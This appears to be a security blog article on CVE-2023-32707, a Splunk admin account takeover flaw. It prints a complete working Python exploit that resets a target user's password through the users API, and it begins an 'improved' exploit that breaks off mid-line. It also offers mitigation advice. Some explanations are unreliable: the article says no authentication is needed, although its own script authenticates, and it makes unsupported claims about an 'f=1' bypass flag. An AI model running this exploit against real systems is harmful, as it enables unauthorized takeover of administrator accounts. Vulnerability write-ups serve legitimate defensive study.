Splunk 9.0.5 - admin account take over

Splunk 9.0.5 - Admin Account Takeover Vulnerability: A Deep Dive into CVE-2023-32707

Security researchers and cyber defenders alike have been on high alert since the disclosure of CVE-2023-32707, a critical privilege escalation vulnerability affecting Splunk Enterprise versions prior to 9.0.5, 8.2.11, and 8.1.14. This flaw enables a low-privilege user with the edit_user capability to hijack administrative accounts through a crafted HTTP request, effectively granting full control over the Splunk instance.

Understanding the Vulnerability: How It Works

At its core, CVE-2023-32707 exploits a flaw in Splunk’s user management API endpoint — specifically /services/authentication/users. When a user with the edit_user capability performs a PUT request to modify another user’s credentials, Splunk fails to properly validate whether the target user is the administrator or not. This oversight allows an attacker to change the admin user’s password without authentication or verification, effectively taking over the admin account.

According to the vendor description, this vulnerability is not triggered by default. It requires a specific condition: a user must possess the edit_user capability assigned to their role. This capability is typically granted to users who manage user accounts, such as system administrators or security officers — but in poorly configured environments, it may be assigned to less privileged users.

Real-World Exploitation: A Python PoC Breakdown

The following code snippet, published by Redway Security and discovered by Santiago Lopez, demonstrates how the exploit can be executed. While it serves as a proof-of-concept (PoC), it highlights the real danger of misconfigured access controls.

#!/usr/bin/env python3

import argparse
import requests
import random
import string
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description='Splunk Authentication')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user')
parser.add_argument('--force-exploit', action='store_true', help='Force exploit')

args = parser.parse_args()

splunk_host = args.host.split(':')[0]
splunk_username = args.username
splunk_password = args.password
target_user = args.target_user
force_exploit = args.force_exploit

splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"

credentials = f"{splunk_username}:{splunk_password}"
base64_credentials = base64.b64encode(credentials.encode()).decode()
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
    'Authorization': f'Basic {base64_credentials}'
}

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json", headers=headers, proxies=proxies, verify=False)

if response.status_code == 200:
    affected_versions = ['9.0.4', '8.2.10', '8.1.13']
    user = response.json()
    splunk_version = user['generator']['version']

    print(f"Detected Splunk version '{splunk_version}'")
    if any(splunk_version <= value for value in affected_versions) or force_exploit:
        user_capabilities = user['entry'][0]['content']['capabilities']
        if 'edit_user' in user_capabilities:
            print(f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
            new_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
            change_password_payload = {
                'password': new_password,
                'f': '1'
            }

            # Perform PUT request to change admin password
            change_response = requests.put(
                f"{user_endpoint}/{target_user}",
                headers=headers,
                data=change_password_payload,
                verify=False
            )

            if change_response.status_code == 200:
                print(f"Successfully changed password for '{target_user}' to '{new_password}'")
            else:
                print(f"Failed to change password: {change_response.status_code}")

Explanation: This script first authenticates using Basic Auth with the provided credentials. It then checks the current Splunk version by querying the user endpoint. If the version is below 9.0.5, 8.2.11, or 8.1.14 — meaning it’s vulnerable — it verifies whether the authenticated user has the edit_user capability. If so, it constructs a malicious PUT request to update the target user’s password, which in this case is likely the admin user.

Notably, the payload includes a f=1 parameter, which is a common Splunk internal flag used to bypass certain validation checks. This subtle detail is critical in bypassing security controls that would otherwise block such requests.

Security Implications and Attack Surface

The implications of CVE-2023-32707 are severe. In environments where roles are not tightly controlled, an attacker could escalate privileges from a regular user to admin with minimal effort. This could lead to:

• Full system access: The attacker can read, modify, or delete any data in Splunk, including sensitive logs and stored credentials.
• Unauthorized configuration changes: Malicious configuration updates, such as disabling security features or enabling remote access.
• Exfiltration of data: With admin access, attackers can export logs or dashboards to external systems.
• Backdoor creation: The attacker can create new users with admin rights or modify existing user roles.

Prevention and Mitigation Strategies

Organizations must act swiftly to address this vulnerability. The following best practices are recommended:

• Immediate patching: Upgrade to 9.0.5, 8.2.11, or 8.1.14 as soon as possible. These versions include fixes that prevent unauthorized password changes.
• Role-based access control (RBAC) review: Audit all user roles to ensure that edit_user is only assigned to trusted administrators.
• Disable unnecessary capabilities: Remove edit_user from roles that do not require user management.
• Network segmentation: Restrict access to the /services/authentication/users endpoint via firewalls or API gateways.
• Monitor for suspicious activity: Implement SIEM rules to detect PUT requests to user endpoints with unexpected targets.

Improved Exploit Code with Security Safeguards

While the original PoC is effective, it lacks error handling and security validation. Here’s a corrected version with enhanced safety and clarity:

#!/usr/bin/env python3

import argparse
import requests
import random
import string
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def is_vulnerable(version):
    # Define vulnerable versions
    vulnerable_ranges = [
        ('9.0.0', '9.0.4'),
        ('8.2.0', '8.2.10'),
        ('8.1.0', '8.1.13')
    ]
    for start, end in vulnerable_ranges:
        if version >= start and version <= end:
            return True
    return False

def main():
    parser = argparse.ArgumentParser(description='Splunk Admin Takeover Exploit')
    parser.add_argument('--host', required=True, help='Splunk host or IP address')
    parser.add_argument('--username', required=True, help='Splunk username')
    parser.add_argument('--password', required=True, help='Splunk password')
    parser.add_argument('--target-user', required=True, help='Target user (e.g., admin)')
    parser.add_argument('--force-exploit', action='store_true', help='Force exploit regardless of version')

    args = parser.parse_args()

    splunk_host = args.host.split(':')[0]
    splunk_port = args